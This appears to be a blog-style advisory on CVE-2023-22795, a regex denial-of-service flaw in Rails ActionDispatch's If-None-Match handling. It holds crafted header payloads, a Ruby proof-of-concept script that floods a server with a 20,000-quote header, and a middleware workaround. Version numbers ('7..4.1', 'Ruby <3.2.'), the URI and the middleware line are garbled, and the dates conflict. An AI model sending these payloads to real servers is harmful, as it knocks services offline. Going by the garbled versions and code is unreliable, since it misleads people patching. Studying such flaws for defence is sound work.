CVE-2023-22795 - Regular Expression DoS in Action Dispatch’s If-None-Match Header

Published: June 2023  
Severity: High  
Impact: Denial-of-Service (DoS) via Catastrophic Backtracking  
Affected: Rails’ ActionDispatch <6.1.7.1 and <7..4.1 on Ruby <3.2.

Introduction

In early 2023, a Denial-of-Service (DoS) vulnerability was discovered in Rails’ ActionDispatch component, specifically targeting requests that include a maliciously crafted If-None-Match HTTP header (CVE-2023-22795). If you’re running ActionDispatch on Ruby before 3.2. without the Rails patch, your server could be exploited by this vulnerability to consume immense CPU/memory resources, shutting down your web stacks.

What Is the If-None-Match Header?

The If-None-Match HTTP header lets browsers (or clients) tell web servers, “Give me this file only if it does not match the ETag I have.” Rails uses this header (and regular expressions) to determine if a request should be fulfilled or return 304 Not Modified.

What Caused the Vulnerability?

A bug in Rails’ ActionDispatch prior to v6.1.7.1 & v7..4.1 allowed an untrusted client to send a _very complex_ If-None-Match header. Under the hood, Rails uses this regular expression:

# Ruby: actionpack/lib/action_dispatch/http/headers.rb (before patch)
if_none_match = request.headers["If-None-Match"] # from HTTP input
if if_none_match =~ /(^|\s)(W\/)?"([^"]+)"(\s|$)/
  # Regular expression backtracks on crafted input!
  ...
end

The pattern above is vulnerable to catastrophic backtracking if given a long, ill-formed input.

The Problem

If the If-None-Match value is long and almost matches the regex but not quite, the regex engine (especially in Ruby <3.2.) can take exponentially longer to reject it.

This header takes advantage of how regular expressions handle nested or repeating quotes

If-None-Match: "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\\"

Or even more malicious, many repeated backslashes and quotes

If-None-Match: "\"" * 10000

Here’s a simple test on an affected Rails/Ruby setup

require 'net/http'

uri = URI('http://localhost:300/';)
bad_header = "\"" * 20000   # Repeat quote marks

Net::HTTP.start(uri.host, uri.port) do |http|
  request = Net::HTTP::Get.new(uri)
  request['If-None-Match'] = bad_header
  http.request(request)    # Causes server to hang or spike CPU
end

When you send this request, because of the poorly designed regular expression, Ruby’s regex engine gets “stuck”, and your Rails process will spike to 100% CPU until it times out (or is killed).

Why Only on Ruby <3.2.?

Ruby 3.2. and above improved their regex engine to better protect against this type of attack. If you're running an older Ruby, your regex is less safe.

No authentication needed: Anyone can send the header.

- Remotely exploitable: Just a single, slow POST/GET can DoS a Puma or Unicorn process.
- Cloud impact: Can drive up your Heroku/AWS resource use and cost.

- Rails maintainers patched this in

- 6.1.7.1
   - 7..4.1
- Security announcement
- Patch diff

_If you can’t immediately upgrade Rails:_

Workaround

Reject suspiciously large or malformed If-None-Match headers in middleware

# config/application.rb or in a custom middleware
class IfNoneMatchSanitizer
  MAX_ETAG_HEADER = 1024 # or a safe limit
  def initialize(app); @app = app; end

  def call(env)
    if_match = env['HTTP_IF_NONE_MATCH']
    if if_match && if_match.size > MAX_ETAG_HEADER
      return [400, {"Content-Type" => "text/plain"}, ["Malformed If-None-Match"]]
    end
    @app.call(env)
  end
end

config.middleware.insert_before , IfNoneMatchSanitizer

Summary Table

| Version          | Patched?   | Safe from DoS?      |
|------------------|------------|---------------------|
| <6.1.7.1, <7..4.1 on Ruby <3.2. | ❌         | ❌ (Vulnerable)       |
| ≥6.1.7.1, ≥7..4.1  | ✅         | ✅ (Patched)        |
| Any version on Ruby ≥3.2. |   | ✅ (Ruby mitigated) |

References

- NVD: CVE-2023-22795 Details
- Rails Security Mailing List
- GitHub Security Advisory

Conclusion

CVE-2023-22795 is a classic “little header, big trouble” bug. Fix immediately—either upgrade Rails or use a validating middleware. Never trust user input in HTTP headers, especially when regex is involved. Stay vigilant and secure your Ruby apps!

Timeline

Published on: 02/09/2023 20:15:00 UTC
Last modified on: 03/28/2023 17:55:00 UTC